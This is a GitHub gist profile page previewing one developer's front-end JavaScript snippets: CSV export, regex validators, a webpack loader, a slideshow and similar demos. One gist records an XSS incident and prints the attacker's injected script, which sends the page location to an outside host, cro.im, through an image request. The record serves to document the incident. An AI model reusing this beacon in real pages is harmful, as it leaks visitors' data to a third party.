Skip to content

Instantly share code, notes, and snippets.

View FrankFan's full-sized avatar
🎯
Focusing

FrankFan FrankFan

🎯
Focusing
View GitHub Profile
@FrankFan
FrankFan / README.md
Created January 28, 2021 10:14
A SFC TodoApp with vue2
/**
* 导出csv文件
* @see https://gist.github.com/dannypule/48418b4cd8223104c6c92e3016fc0f61
*/
class json2csv {
exportCSVFile(headers, items, fileTitle) {
if (headers) {
items.unshift(headers);
}
@FrankFan
FrankFan / JS常用正则表达式.js
Last active October 20, 2020 02:32 — forked from JoeKeikun/JS常用正则表达式
JS常用正则表达式
/*
用途:检查输入的Email信箱格式是否正确
输入:strEmail:字符串
返回:如果通过验证返回true,否则返回false
*/
function checkEmail(strEmail)
{
//var emailReg = /^[_a-z0-9]+@([_a-z0-9]+\.)+[a-z0-9]{2,3}$/;
var emailReg = /^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$/;
if ( emailReg.test(strEmail) ) {
@FrankFan
FrankFan / webpack-module-loader.js
Last active June 30, 2020 10:51
最简单的 webpack 打包后代码
(function (modules) {
// The module cache
var installedModules = {};
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
if (installedModules[moduleId]) {
return installedModules[moduleId].exports;
}
// Create a new module (and put it into the cache)
@FrankFan
FrankFan / h5-shake.js
Last active May 17, 2018 02:28
HTML5 shake 晃动demo
```javascript
(function{
if(window.DeviceMotionEvent) {
alert('you');
window.addEventListener('devicemotion', deviceMotionHandler, false);
}else{
alert('no');
}
@FrankFan
FrankFan / js继承.md
Last active August 29, 2015 14:17
Javascript中继承的几种写法

一、 基于class的继承, 用 funcion 实现

function Person(){
	this.name = 'person';
}

function Student(age, gender) {
	Person.apply(this, arguments);
	this.age = age;
@FrankFan
FrankFan / xss.js
Created March 23, 2015 02:45
记一次被XSS的经历
/*
* 被黑客xss的一次经历,下面是黑客嵌入到app内的代码
*/
//http://cro.im/m
(function() {
(new Image()).src = 'http://cro.im/index.php?do=api&id=IBkpf0&location=' + escape((function() {
try {
return document.location.href
} catch (e) {
@FrankFan
FrankFan / index.html
Last active August 29, 2015 14:17
my slides —— 图片轮播组件
<div class="slides">
<ul>
<li class="current"><img src="http://placehold.it/490x170" alt="" /></li>
<li><img src="http://placehold.it/490x170/7cd6fa" alt="" /></li>
<li><img src="http://placehold.it/490x170/7cd" alt="" /></li>
<li><img src="http://placehold.it/490x170/ede" alt="" /></li>
<li><img src="http://placehold.it/490x170/67a" alt="" /></li>
</ul>
@FrankFan
FrankFan / index.html
Created March 18, 2015 03:16
js作用域
<input type="button" class="btn btn-primary" value="按钮A" onclick="AA();" /><br /><br />
<input type="button" class="btn btn-primary" value="按钮B" onclick="BB();" /><br /><br />
<input type="button" class="btn btn-primary" value="按钮C" onclick="CC();" /><br /><br />
<input type="button" class="btn btn-primary" value="按钮D" onclick="DD();" /><br /><br />